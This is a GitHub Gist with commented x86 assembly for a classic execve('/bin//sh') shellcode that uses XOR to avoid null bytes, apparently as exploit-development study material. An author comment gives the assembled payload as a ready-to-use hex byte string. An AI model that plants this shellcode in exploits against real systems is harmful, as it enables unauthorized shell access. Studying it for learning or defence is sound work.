Last active
January 4, 2019 00:33
-
-
Save retpolanne/7fd1f192e17c4823b1d4bdac2f03e36a to your computer and use it in GitHub Desktop.
Xors to remove null bytes
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.global _start | |
.section .text | |
_start: | |
# execve syscall | |
xor %eax, %eax | |
push %eax # null byte for /bin/sh string | |
push $0x68732f2f # little endian //sh | |
push $0x6e69622f # little endian /bin | |
mov %esp, %ebx # ptr to /bin//sh string - on the stack | |
xor %ecx, %ecx # null ptr to argv | |
xor %edx, %edx # null ptr to envp | |
mov $0xb, %eax # syscall 11 - execve | |
int $0x80 # kernel mode |
Author
retpolanne
commented
Aug 5, 2018
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment